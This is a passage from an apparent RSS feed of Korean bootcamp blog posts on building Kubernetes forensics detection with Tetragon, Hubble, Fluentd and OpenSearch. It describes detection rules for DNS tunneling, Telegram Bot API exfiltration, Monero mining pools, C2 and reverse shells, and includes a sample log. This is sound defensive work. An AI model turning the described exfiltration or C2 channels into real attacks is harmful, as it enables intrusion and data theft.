<p>DNS 탐지 고도화를 위해 Cilium Clusterwide Network Policy를 수정하여 DNS L7 로그 가시성을 확보한 후, 실제 Hubble DNS 로그 구조를 분석했습니다. 이를 통해 <code>flow.l7.dns.query</code>, <code>flow.l7.dns.qtypes</code> 필드가 DNS 터널링, C2 통신, 크립토마이닝과 같은 행위를 식별하는 데 핵심적인 역할을 수행할 수 있음을 확인했습니다.</p>
<p>이를 토대로 Base64 인코딩 문자열 포함 DNS 질의, NULL 레코드 요청 빈도, 과도한 DNS 요청량, Telegram Bot API 접근, Monero 채굴 풀 조회 등 컨테이너 환경에 적합한 공격 시나리오를 반영하여 탐지 규칙을 수정했습니다. 일부 규칙의 경우 단발성 발생만으로도 충분히 의미 있는 이상 행위가 될 수 있다고 판단하여 빈도 조건을 제거했습니다.</p>
<h3 id="cleartext-protocol-및-lateral-movement-규칙의-구조적-한계-분석">Cleartext Protocol 및 Lateral Movement 규칙의 구조적 한계 분석</h3>
<p>기존 Cleartext Protocol Usage 및 Remote Named Pipe 관련 규칙은 Zeek 또는 Windows 환경을 전제로 설계된 규칙으로, Hubble 로그 구조와 직접적인 호환성에 한계가 있음을 확인했습니다. 특히 Named Pipe 규칙은 Hubble 로그만으로는 SMB 내부 Named Pipe 이름을 식별할 수 없다는 구조적 제약이 존재했습니다.</p>
<p>이에 따라 Named Pipe 이름 기반 탐지를 포기하는 대신, Kubernetes 환경에서 거의 발생하지 않는 <strong>SMB 트래픽 자체를 Lateral Movement 의심 행위로 정의하는 방식</strong>으로 규칙을 수정했습니다. 이는 환경 제약을 고려한 탐지 범위 조정이자, 오탐을 줄이기 위한 현실적인 선택으로 판단했습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 17]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-17</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-17</guid>
            <pubDate>Tue, 13 Jan 2026 14:17:22 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이번주는 탐지 정책을 설계하고 검증 하는데만 일주일을 다 썼다🫠 정말 실시간으로 눈이 뻑뻑하다 못 해 뿌옇게 흐려지고 스트레스도 정말 많이 받았던거 같다.
일단 어떤 행위를 탐지할 것인지, 이에 따라 어떤 함수를 이용할건지, 이 함수를 사용했을 때 성능적으로 부하는 어떻게 되는지 등 고려 해야하는 사항이 너무나도 많기도 했고, 우리가 사용하는 <strong>Tetragon</strong>이라는 도구는 레퍼런스로 볼만한게 논문, 공식문서뿐이라.. 뭔가 개척 해나가는 느낌이라 해야할까..? 스트레스 외에도 체력적으로도 많이 지쳤던 한 주였다.
그래도? 힘든만큼 얻어 가는게 많은 한 주였던거 같다. 커널에서 동작하는 함수들은 어떤게 있고 이들이 어떻게 동작하는지 찾아보면서 공부를 하고 정책에 적용 해보고 남들이 못 하는 일들을 내가 할 수 있는 능력을 키운다고 생각하면서 도 닦는 심정으로 시간을 보냈다.</p>
<hr>
<h2 id="tetragon-정책-bottom-up-방식의-고도화">Tetragon 정책 Bottom Up 방식의 고도화</h2>
<p>1차적으로 MTIRE ATT&amp;CK 테크닉을 기준으로 정책을 세웠더니 약 40개 정도의 정책이 나왔다. 근데 정책을 설계하다보니 우선 탐지 범위를 명확하게 하는 것에 어려움을 느꼈고, <strong>Tetragon</strong>의 <strong>TracingPolicy</strong>는 커널 레벨의 <strong>함수 호출(Function Call)</strong>과 그 <strong>인자(Arguments)</strong>를 대상으로 하기 때문에 복잡한 조건을 설정하거나 세밀한 <strong>MITRE ATT&amp;CK Technique</strong>을 매핑하는 데 한계가 존재함을 확인했다.
특히 <strong>Hook Point</strong>에서 인자가 Pointer 형태로 전달될 경우 이를 역참조 해서 문자열 전체를 조건으로 거는 것은 기술적으로 매우 어렵다는걸 느꼈고 정책 설계시 유연성도 매우 떨어진다는 것을 느꼈다.</p>
<blockquote>
<h4 id="tracing-policy">Tracing Policy</h4>
<p><strong>Tracing Policy</strong>는 <strong>eBPF</strong>를 기반으로 커널 수준의 <strong>System Call</strong>, <strong>Function Call</strong>, <strong>네트워크 활동</strong> 등을 세밀하게 관찰하고 필터링하기 위해 정의하는 것을 의미한다. </p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/3e8d73ff-f3e1-46ac-ba26-c9035b9478ca/image.jpg" alt=""></p>
<p>우리 팀이 프로젝트 진행에 있어서 어떤 의사 결정을 해야하는 순간이 오면 <strong>일단 뭐든 한번 해보자</strong>라는 생각으로 빠르게 판단한다. 내가 이 팀의 팀장이기에 주로 내 결정에 따라 팀이 움직이게 되는데 그런 순간이 올 때마다 <strong>&quot;완벽보다 실행에 집중한다&quot;</strong>, <strong>&quot;신속하게 움직인다&quot;</strong>라는 토스의 코어 벨류를 되세기는거 같다. 그리고 팀원들도 시원하게 머리 박자고 하면서 움직인다ㅋㅋㅋㅋ</p>
<p>다시 본론으로 돌아오면 아무래도 빠르게 결정하고 실행에 집중하다 보니 문제는 항상 터진다. 프로젝트 기간이 워낙 짧다보니 최대한 많은 경우의 수를 생각하고 들어가도 놓치는 부분들이 분명히 존재하기에 ..</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/877d3bc9-fa70-4007-ab67-6ddb548362e2/image.jpg" alt=""></p>
<p>그래서 우리는 이 문제를 해결하기 위해 <strong>Tetragon</strong>으로만 해결하려 하지 않고 <strong>Fluentd</strong>로 눈을 돌렸다. 팀에서 같이 <strong>Tetragon</strong> 정책을 설계하던 희수가 <strong>Fluentd</strong>에서 로그가 모이고 대시보드로 가니까 여기서 모든 필드를 파싱할 수 있고, 바이너리 경로 뿐만 아니라 구체적인 인자 값 등을 조합해서 조건 설정을 할 수 있을거 같다고 해서 해보자고 했고 결과적으로 앞서 말한 문제를 해결할 수 있었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/404bfaf5-4287-4bfb-b2a5-d0c58b98484d/image.png" alt=""></p>
<p>따라서 1차 필터링을 Tetragon으로 2차 필터링 및 공격 태깅을 Fluentd로 정의했고, 동시에 Technique 별로 정책을 40개나 들고 관리하는게 상당한 비효율로 다가왔다. 
따라서 우리는 <strong>Tetragon</strong> 정책을 <strong>File, Network, Process, Permission</strong> 네 가지로 정책을 재분류, 최적화 및 고도화하기로 했다. 이러한 접근이 더 효율적이고 정교한 탐지가 가능할 것이라고 생각했다. </p>
<p>딱히 의도한건 아니지만? 실제 공격 사례 기반인 MITRE ATT&amp;CK 테크닉을 최소 단위로 분석하고, 이를 실행 관점의 4개 영역(File, Network, Process, Permission)으로 범주화하여 정책을 고도화하는 Bottom-Up 방식의 설계를 진행했다고 볼 수 있겠다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a411d993-e985-4d8d-9683-2cf68f30fe20/image.jpg" alt=""></p>
<p>희수가 fluentd 필터링을 전담하고 내가 Tetragon 정책 최적화를 맡았는데 1차 설계하는건 아무것도 아니었구나 싶었다... &quot;세워진 정책을 범주화 해서 탐지 이벤트를 정리하고 어떤 함수를 사용하고 있고 이 함수는 중복되니까 탐지 범위를 묶고 이 탐지 포인트랑 저 탐지 포인트를 묶으려면 AND? OR? 같은 탐지 기능을 가졌다고 볼 수 있나?&quot; 등 ..... 많은 생각을 했다 🤯</p>
<p>우여곡절이 많았지만... 우리는 그물망 짜듯이 탐지를 여러 레이어로 하기 때문에 설계가 끝나고 공격을 수행 해봐야 추가로 고도화를 하든 할 수 있어서 일단 여기서 마무리했다.. 고생했다 나 자신...</p>
<hr>
<h2 id="open-search-siem-솔루션">Open Search SIEM 솔루션</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/473d0108-9a74-4e5d-84c6-9daff261c63f/image.png" alt=""></p>
<p>Tetragon 정책 설계를 마무리하고 우리 프로젝트의 다음 단계인 Open Search에서 탐지와 상관 분석을 위해 역할 배분을 다시 했다. 이미 Open Search는 민송이가 담당하고 있고 상관 분석 조사 및 설계 부분을 다른 팀원들이 담당하고 있어서 내가 Open Search에 붙고 희수는 상관 분석 조사 및 설계 부분에 붙게 되었다.</p>
<p>Open Search에선 탐지나 분석 관련해서 많은 기능을 지원하기 때문에 기능 파악을 우선적으로 진행했다. 또 지속적으로 Open Search에서 ML을 통한 Anomaly Detection 부분이 잘 안된다는 피드백이 나오고 있었어서 숨 돌릴 틈도 없이 움직였다.</p>
<blockquote>
<h4 id="open-search">Open Search</h4>
<p><strong>OpenSearch</strong>는 <strong>Elasticsearch</strong>와 <strong>Kibana</strong>에서 파생된 오픈 소스 기반의 분산 검색 및 분석 엔진으로 대용량 데이터의 실시간 검색, 시각화 및 로그 분석에 최적화되어 있다. 모든 기능이 오픈 소스로 제공되어 라이선스 제약 없이 <strong>SIEM</strong>이나 <strong>Observability</strong> 시스템을 구축하는 데 활용된다.</p>
</blockquote>
<p>이 파트에 붙자마자 바로 문제를 발견했다. 앞서 말한거처럼 공식문서를 통해 기능 파악을 하는 와중에 릴리즈 노트를 보는데 우리가 2.13.0 버전을 사용하고 있었다. 근데? 최신 버전이 3.4.0이었다. 바로 민송이한테 우리 왜 이 버전 쓰고 있는거지..?
일단 더 확인 해본 결과 최신 버전을 사용하는게 맞았고 즉시 버전 업그레이드를 진행했다.
민송이가 너무 미안하다고ㅋㅋㅋㅋㅋ 막 수습하고 있는 모습을 보니 안쓰러웠다..ㅋㅋㅋㅋ
내가 한번 더 확인했어야 됐다고 앞으로 도구 사용할 때는 릴리즈 노트와 공식 문서를 먼저 읽는 습관을 들이자..!라고 하며 무탈?하게 넘어갔다.
사실 버전 업데이트할 때 뭔가 의존성이 있는 부분이 있거나 하면 되던게 안되는 상황이 벌어지는 경우가 많은데 정말 다행히도 그런 이슈는 발생하지 않았다.. 민송이한테 말은 안했지만 정말 쫄렸다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6e13723a-759a-4e3e-8b3c-6350a6f6e84a/image.jpg" alt=""></p>
<p>다시 본론으로 들어가면 공식문서를 읽던 와중에 <strong>Security Analytics</strong>라는 기능을 발견했다. 
이 기능은 <strong>Open Search</strong>가 제공하는 <strong>SIEM(Security Information and Event Management)</strong>솔루션이다.</p>
<p>로그 타입을 정의하고 <strong>Detector</strong> 설정을 할 수 있다. 우리가 실제 환경에서 <strong>Tetragon</strong>과 <strong>Hubble</strong>을 통해 런타임 탐지, <strong>Open Search</strong>에서 Network 정보를 이용한 <strong>이상행위탐지</strong>, <strong>지식 기반 탐지</strong> 총 세 가지 탐지 레이어를 갖는데 Open Search에서 지원하는 Detector가 Sigma Rule 베이스로 동작을 해서 신뢰성 있는 지식 기반 탐지를 할 수 있다는 것을 확인했다.</p>
<p>지식 기반 탐지는 이미 잘 알려진 Feature들을 이용해서 탐지를 해야 신뢰성과 탐지 성능을 보장할 것이라고 생각했지만 어떤 규칙들을 이용해서 탐지를 해야하는지 고민이 많았는데 이걸 보자마자 혈이 뚫렸다. 그래서 나에게 주말과 다음주에 테스크로 Security Analytics 기능 활용 설계가 주어졌고 이와 관련해서 진행 사항은 다음주 TIL에 정리 해보도록 하겠다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c99c2b75-6951-4494-af46-9091efd0f09c/image.png" alt=""></p>
<p>이 그림은 10월 말 즈음에 현재 프로젝트를 처음 설계할 때 그린 아키텍쳐다. 사용하는 도구, 구조 같은 것들이 많이 바뀌긴 했지만 그렸던 청사진이 하나씩 구체화 되어 가고 완성을 앞두고 있다는게 정말 신기하다.</p>
<p>그만큼 정말 쉼없이 달려왔구나 하는 생각이 든다.. 뭐 궁상 떠는건 아니고 사실 팀원들이 많이 지친거 같다는 느낌을 많이 받는다. 나도 마찬가지지만 본격적으로 프로젝트 수행하기 2주, 3주 전부터 지금까지 달려왔으니... 힘이 빠질만 하지 하면서도 이럴 때일수록 내가 팀의 중심을 잡아야 잘 마무리 할 수 있겠다는 팀장으로서 책임감도 많이 느끼게 되는거 같다.</p>
<p>어떻게 하면 이를 해소할 수 있을까 고민하다가 그냥 내가 더 열심히 하기로 했다. 우리 팀원들은 요행을 피우는 사람들은 아니어서 내가 더 뭔가 해오고 움직이면 따라 와줄걸 아니까 조금 힘들어도 열심히 해보려고 한다.</p>
<p>프로젝트를 위해서도 있지만 이 과정이 끝나고 뒤돌아 봤을 때 이게 최선이었나?라는 생각은 분명히 들겠지만 &quot;그때의 최선이었어&quot;라고 확신하고 싶다. 잘할 수 있겠지?</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 4]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-4</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-4</guid>
            <pubDate>Sun, 11 Jan 2026 06:58:38 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/4ae2b95f-0f11-463d-bad5-34d65114ba1a/image.png" alt=""></p>
<p>이번 4주차에서는 Kubernetes 환경에서의 네트워크 포렌식 프로젝트를 보다 실질적인 분석 단계로 발전시키기 위해, 탐지 결과의 정확도와 이후 분석 과정의 신뢰도를 함께 높이는 구조 설계 및 구현에 집중하여, 필터링-탐지-패턴매칭–상관분석–시각화로 이어지는 전체 흐름을 재정비하는 것을 주요 목표로 설정했습니다.
이를 위해 탐지 프레임워크를 재정립 및 고도화, Tetragon 정책 재정비, 실습 환경 재구축, Fluentd 기반 2차 필터링, 로그 상관분석, Grafana 기반 공격 재구성 시각화 방향 검토로 6개의 파트를 나누어 프로젝트를 진행했습니다.  </p>
<p>각 파트는 독립적으로 수행되었으나, 최종적으로는 <strong>하나의 탐지 이벤트를 기준으로 서로 다른 로그를 연결하고, 그 맥락을 분석·재구성할 수 있도록 상호 연계 가능한 구조를 만드는 데</strong> 초점을 두고 설계를 진행했습니다. 이를 통해 단순 탐지 결과 나열이 아닌, 실제 포렌식 분석으로 이어질 수 있는 기반을 마련하고자 했습니다.</p>
<hr>
<h2 id="탐지-방향-재정립-및-고도화">탐지 방향 재정립 및 고도화</h2>
<p>지난주에 정립하였던 탐지 방향은 단일 탐지 결과만으로 공격 여부를 단정하기에는 정확도와 신뢰도가 낮아진다는 한계가 있었습니다. 이에 멘토님의 피드백을 바탕으로 탐지 방향을 재정립하여 탐지 고도화 프레임워크를 수립했습니다. 새롭게 수립한 다중 탐지 기법의 상호 보완을 통한 복합 탐지 프레임워크는 한 가지 탐지로는 판단이 모호한 지점을 다른 관점의 데이터로 함께 해석함으로써 사건의 맥락을 형성하는 것에 초점을 두었습니다. 이 과정은 특정 탐지 기법 하나로 모든 공격을 포괄하려는 시도가 아니라, 각 기법이 갖는 탐지 범위의 한계를 서로 보완함으로써 개별 탐지의 hole을 점진적으로 메워나가는 방식입니다.
이와 같은 접근은 탐지 결과의 설득력과 타당성을 높이고, 이후 쿼리 기반 분석이 임의적 해석이 아닌 논리적으로 정합된 분석 과정으로 이어지도록 하기 위한 설계이며, 본 프로젝트에서 지향하는 탐지 고도화의 핵심 방향이라고 할 수 있습니다.</p>
<p>해당 프레임워크는 다음 네 가지 축으로 구성했습니다.</p>
<ol>
<li>Hubble을 통한 룰에 기반한 <strong>지식 기반 탐지(Knowledge-based Detection)</strong></li>
<li>Hubble을 통한 공격 여부를 사전에 가정하지 않는 Baseline에 기반한 <strong>이상 탐지 (Abnomaly Detection)</strong></li>
<li>Tetragon 쿼리 검색을 통한 <strong>행위·정책 기반 탐지 (Behavior-based Detection)</strong></li>
<li>위 내용을 종합하여 이를 토대로 Tetragon과 Hubble에서 로그 묶음을 추출한 후, 이를 <strong>상관 분석(Correlation)</strong></li>
</ol>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0e2457a0-fe99-4913-8eac-0f05197b315a/image.png" alt=""></p>
<p><strong>Knowledge-based Detection</strong>에서는 OpenSearch 내 Alerting 기능을 활용합니다. “어떤 네트워크 패턴이 이상한지”에 대한 사전 지식을 쿼리와 Alert 조건으로 명시적으로 표현하는 방식으로 탐지를 수행하기 때문에, rule 기반 탐지라고 볼 수 있습니다. 외부 C2 통신, 리버스 쉘, 데이터 유출, 단발성 외부 접속과 같이 보안적으로 의미 있는 외부 통신이 주요 탐지 대상입니다. 이들 통신은 연결 수가 적고 지속 시간이 짧으며, 통계적으로는 평소 트래픽 패턴에서 크게 벗어나지 않는 특징을 가지기 때문에 통계 기반 이상 탐지에서는 탐지가 어려운 영역임을 확인했습니다.</p>
<p><strong>Anomaly Detection</strong>에서는 OpenSearch 내 anomaly detection 기능을 활용하여, 평소 네트워크 패턴을 baseline으로 삼고 해당 패턴에서 벗어나는 통계적 편차를 이상으로 정의했습니다. DDoS 전조, 스캔류 트래픽, 웜이나 자동화된 행위처럼 짧은 시간 내 TCP 연결 수 급증, 세션 폭증, 네트워크 패턴 붕괴와 같은 통계적 행동 변화가 주요 탐지 대상입니다. 이 방식은 목적지 IP나 공격 의도보다는 네트워크 행동 자체의 변화에 초점을 둔다는 점에서 Knowledge-based Detection과 관점 차이가 있습니다.</p>
<p><strong>Behavior-based Detection</strong>에서는 Tetragon을 활용하여 특정 syscall이나 binary 실행을 기준으로 실제 행위의 실체를 확인합니다. Tetragon의 역할은 행위 실체 확인 (forensic evidence) 이기 때문에 이 단계에서는 굳이 Alert를 울리지 않고 시간, 파드, 노드 기준으로 쿼리 검색을 진행하기로 했습니다.</p>
<p>단순히 탐지 방식을 나누는 데에서 그치는 것이 아닌, 아래와 같이 Case 별로 탐지 결과 간 상호 보완 구조를 정리하여 탐지 고도화를 진행했습니다. </p>
<ul>
<li><strong>Case1: Knowledge-based Detection에서 Alert가 발생한 경우</strong>
  동일 시간대 기준으로 <strong>Anomaly score</strong>를 확인하고, 동시에 Tetragon 로그를 조회하여 해당 통신을 유발한 실제 행위가 존재했는지를 검증</li>
<li><strong>Case2: Anomaly Detection에서 Alert가 발생한 경우</strong>
  동일 시간대의 외부 통신 여부를 <strong>Knowledge-based Detection</strong>으로 확인하고, Tetragon 로그를 통해 실제 행위 여부를 교차 검증</li>
<li><strong>Case3: 네트워크 탐지로는 포착되지 않는 공격의 경우</strong>
  Tetragon 행위를 기준으로 이후 네트워크 흐름과 통계적 변화가 있었는지를 역으로 확인</li>
</ul>
<p>현재 탐지 프레임워크 구현 중에 있으며, 실습을 통해 발생하는 오류나 한계를 해결해나가는 과정에 있습니다.</p>
<hr>
<h2 id="tetragon-정책-재정비">Tetragon 정책 재정비</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/3f79888e-693f-4c9d-ae6f-7e753468f9b3/image.png" alt=""></p>
<p>Tetragon 정책은 지난주 수행일지에 작성하였듯 MITRE ATT&amp;CK Matrix를 기준으로 공격을 분류한 후 각 Technique별로 정책 설계를 완료하였고 총 약 40개의 정책 파일이 나왔습니다.</p>
<p>1차적으로 설계한 정책을 점검한 결과 정책 별 Hook Point와 System call 함수를 이용한 탐지 범위가 중복되는 것을 확인했습니다. 이는 프로젝트 수행 환경에 적용했을 때 노이즈로 작용할 수 있고, 같은 탐지 범위(Network, Process 등)를 갖는 정책이 서로 다른 정책 파일에 작성되어 있기 때문에 정책 관리적 차원에서도 효율적이지 못하다는 문제를 인식했습니다.</p>
<p>따라서 <strong>file, network, permission, process</strong> 네 가지 영역으로 정책을 재분류하는 작업을 우선적으로 진행하여 정책 관리 효율성을 증진시켰습니다. 재분류하는 과정에서 <code>sys_open</code>, <code>sys_openat</code>과 같이 유사한 기능을 하는 함수를 <code>do_sys_openat2</code>와 같은 함수로 변경하고 기능적으로 검증하여 정책 최적화를 진행 완료했습니다.
또한 최적화한 정책을 환경에 적용하고 노이즈를 확인하고, 정책을 수정하는 과정을 거치며 <strong>1차 Tetragon 정책 고도화</strong>를 완료했습니다.</p>
<p>이후 실제 공격 시나리오를 수행하고 분석을 진행한 뒤 이 과정에서 발생한 미탐, 오탐과 같은 문제들을 확인한 뒤 설계한 Tetragon 정책을 2차로 고도화 할 예정입니다.</p>
<hr>
<h2 id="fluentd를-활용한-2차-필터링">Fluentd를 활용한 2차 필터링</h2>
<p><strong>Tetragon의 TracingPolicy</strong>는 커널 레벨의 <strong>함수 호출과 그 인자(Arguments)</strong>를 대상으로 하기 때문에, 복잡한 조건을 설정하거나 세밀한 <strong>MITRE ATT&amp;CK Technique</strong>을 매핑하는 데 한계가 존재함을 확인했습니다. 특히 커널 <strong>훅(Hook)</strong> 지점에서 인자가 <strong>메모리 주소</strong>(포인터) 형태로 전달될 경우, 이를 역참조하여 문자열 전체를 조건으로 거는 것은 기술적으로 까다롭고 유연성이 떨어집니다.</p>
<p>이에 따라 <strong>Tetragon</strong>을 1차 필터링 도구로, <strong>Fluentd</strong>를 2차 필터링 및 태깅 도구로 정의하여 역할을 분담하였습니다. <strong>Fluentd</strong>는 사용자 공간에서 완성된 JSON 로그의 모든 필드를 파싱할 수 있어, 바이너리 경로뿐만 아니라 구체적인 인자 값, 부모 프로세스 정보 등을 복합적으로 조합한 조건 설정이 가능했습니다.
예를 들어, kubectl 명령어의 경우 Tetragon은 <strong>&quot;바이너리가 실행되었다&quot;</strong>는 사실 위주로 탐지하지만, Fluentd는 arguments: <strong>“get pods -A”</strong>라는 <strong>문자열 자체에 정규 표현식</strong>을 적용하여 실행 의도를 명확히 파악할 수 있습니다. 이를 통해 단순 실행이 아닌 <strong>구체적인 행위를 식별</strong>하여 &#39;Container and Resource Discovery (T1613)&#39;와 같은 정확한 <strong>Technique 태그를 부여</strong>합니다.</p>
<p>Fluentd 필터링 정책 설계를 위해 먼저 총 9개의 대항목 정책을 정의하고 이를 세분화하여 매핑 표 형태로 정리했고, 이를 토대로 로직을 적용한 필터링 정책을 설계했습니다. 아래는 로직이 적용된 Fluentd 최종 로그의 예시입니다.</p>
<pre><code class="language-json">{
  &quot;_index&quot;: &quot;k8s-tetragon-2026.01.05&quot;,
  &quot;_id&quot;: &quot;t7wujZsBQrUnxTYXFGYw&quot;,
  &quot;_version&quot;: 1,
  &quot;_score&quot;: null,
  &quot;_source&quot;: {
    &quot;process_exec&quot;: {
      &quot;process&quot;: {
        &quot;exec_id&quot;: &quot;azhzLXdvcmtlcjoyNzIyMzQ1MDMxOTMyMDo5OTkyNg==&quot;,
        &quot;pid&quot;: 99926,
        &quot;uid&quot;: 0,
        &quot;cwd&quot;: &quot;/tmp&quot;,
        &quot;binary&quot;: &quot;/tmp/kubectl&quot;,
        &quot;arguments&quot;: &quot;get pods -A&quot;,
        &quot;flags&quot;: &quot;execve clone&quot;,
        ...
      },
    &quot;policy&quot;: &quot;Container and Resource Discovery - T1613&quot;,
    &quot;@timestamp&quot;: &quot;2026-01-05T08:02:41.970963518+00:00&quot;,
    &quot;fluentd_tag&quot;: &quot;kubernetes.tetragon&quot;
  }
}</code></pre>
<hr>
<h2 id="correlation-analysis">Correlation Analysis</h2>
<p>이번주에는 탐지 이후의 분석단계를 고도화시키기 위해 상관분석 관련 자료 조사와 실습을 진행했습니다. 멘토링 때 받은 피드백을 반영하여, 상관분석은 크게 <strong>‘같은 공격 시나리오에 대한 Tetragon 로그와 Hubble 로그의 상관분석’</strong>과, <strong>‘정상 트래픽과 비정상 트래픽의 상관분석’</strong>으로 나누어 진행 할 예정입니다. </p>
<p>Tetragon 로그와 Hubble 로그의 상관분석을 위해서는 두 로그를 함께 엮을 수 있는 <strong>공통 필드</strong>가 필요했습니다. 기존 로그에서는 timestamp, pod name, namespace 정도를 공통적으로 활용 가능했으나, 해당 정보만으로는 동일 컨테이너 단위의 행위를 정확히 매칭하기에는 한계가 있음을 확인했습니다. Tetragon 로그에는 <strong>container ID</strong>가 기본적으로 포함되어 있는 반면, Hubble 로그에는 해당 필드가 출력되지 않는 구조였기 때문에 이에 따라 Hubble 로그에서도 container ID를 추출할 수 있는 방법을 조사했고, Cilium에서 제공하는 내부 정보 조회 방식을 통해 <strong>컨테이너 식별 정보</strong>를 가져올 수 있음을 확인했습니다.</p>
<p>해당 방식을 활용하여 <strong>OpenSearch 상에서 Hubble 로그에 container ID를 함께 출력하도록 설정</strong>했으며, 이를 통해 기존의 시간·파드 기반 매칭 방식보다 더 정밀하게 Tetragon 로그와 Hubble 로그를 동일 컨테이너 기준으로 상관분석할 수 있는 기반을 마련했습니다. 이때 container ID를 출력하기 위한 과정에서의 latency가 있어 이 부분은 분석 중에 있습니다. </p>
<p>이와 동시에 <strong>Kubernetes 보안 관측성 강화를 목표로 이기종 로그 상관분석 구조</strong>를 설계했습니다. 먼저 효율적인 상관관계 분석을 위해 오픈소스 Korrel8r를 분석하여 규칙 기반 쿼리 방식의 유효성을 확인했으나, OpenSearch 적용 시 Go 언어 기반 개발 공수를 고려하여 해당 설계 철학을 반영한 Python 기반 스크립트 고도화 방향으로 전략을 확정했습니다.</p>
<p>아키텍처 면에서는 <strong>OpenSearch Alerting</strong>과 연동되는 <strong>FastAPI</strong> 기반 상관관계 분석 스크립트를 구축했습니다. 탐지 시 <strong>Webhook</strong>을 통해 실시간으로 <strong>이기종 로그를 쿼리</strong>하고, <strong>&#39;통합 분석 레코드&#39;</strong>를 생성하여 Slack과 OpenSearch에 전송하는 <strong>2-Way Dispatch</strong> 구조의 PoC를 성공적으로 완수했습니다.</p>
<p>고도화 측면에서는 <strong>&#39;공격 생애주기&#39;</strong> 재구성을 위해 네트워크 세션의 시작(SYN)부터 종료(FIN)까지 추적하고, 동일 시간대의 Tetragon 프로세스 실행 내역을 병합한 <strong>&#39;통합 공격 타임라인&#39;</strong> 자동 생성 체계를 마련했습니다. 다만, 다중 세션 환경에서 정상 트래픽이 혼입되는 노이즈 문제는 분석의 정확도를 저해할 수 있으므로, 향후 식별자 정교화 및 필터링 강화 등 <strong>지속적인 로직 고도화</strong>를 통해 해결해 나갈 계획입니다.</p>
<p>마지막으로, Tetragon 로그와 Hubble 로그를 상관분석 하기 위해 해당 로그를 외부에 추출하여 전처리/상관분석을 하기 위한 스크립트 및 코드를 개발 중에 있습니다. 공통 필드로 로그를 묶은 후, <strong>해당 로그를 어떤 기준과 관점으로 연결하여 의미 있는 상관분석 결과를 도출할 것인지에 대한 분석 방향 설정</strong>을 핵심 과제로 두고 있습니다.</p>
<hr>
<h2 id="grafana-node-graph를-활용한-공격-재구성-시각화-방향-검토">Grafana Node Graph를 활용한 공격 재구성 시각화 방향 검토</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/61227f2e-7dda-48df-83a1-71f3d06a14dd/image.png" alt=""></p>
<p>프로젝트의 최종 목표는 수집된 로그를 바탕으로 <strong>&quot;공격자가 어떤 행위를 행했는지 재구성&quot;</strong>하는 것입니다. 이를 달성하기 위한 시각화 도구로 <strong>Grafana</strong>를 검토하였으며, 특히 <strong>Node Graph</strong> 기능이 부모 프로세스부터 자식 프로세스로 이어지는 흐름을 시각적으로 표현하는 데 적합함을 확인했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c60b48c9-8cd8-4802-9779-db38615d69ab/image.png" alt=""></p>
<p><strong>Node Graph</strong>를 활용하면 특정 쉘 실행부터 파일 읽기, 외부 사이트 통신 등의 일련의 공격 과정을 노드와 엣지의 연결 관계로 파악할 수 있을 것으로 판단됩니다. 현재는 Opensearch에 저장된 Hubble(네트워크)과 Tetragon(시스템) 로그를 추출한 후, 이를 Grafana가 인식할 수 있는 형태로 가공하여 시각화하는 파이프라인 구상을 시작하였습니다. 실시간 대응보다는 <strong>사후 포렌식 분석</strong>에 초점을 맞추고 있으므로, 앞으로 Grafana의 Alert 기능보다는 데이터의 맥락을 연결하여 보여주는 <strong>시각화 구현</strong>에 집중할 계획입니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 16]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-16-swcgi6cb</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-16-swcgi6cb</guid>
            <pubDate>Mon, 05 Jan 2026 14:24:32 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>12월 마지막 주가 되었다. 항상 연말만 되면 무언가 끝났다라는 생각에 시원섭섭한 감정을 많이 느끼곤 했는데 올해는 정말 별 생각이 없는거 같았다. 사실 부트캠프가 끝난게 아니어서 그런가 당장 프로젝트 진행으로 굉장히 정신이 없기 때문에.. 크리스마스고 연말이고ㅋㅋㅋ 별 생각이 없다..
그리고 프로젝트 기간인데 2주 연속으로 수요일까지만 나가고 연휴여서 좀 나태해지지 않을까 걱정이 됐다. 일단 나부터.. 다들 성인인데 각자 할거 잘하겠지 했다. 역시 걱정이 무색하게 돌아와서 회의 해보니 다들 각자 맡은 부분 잘해와서ㅎㅎ 괜히 흐뭇했다.</p>
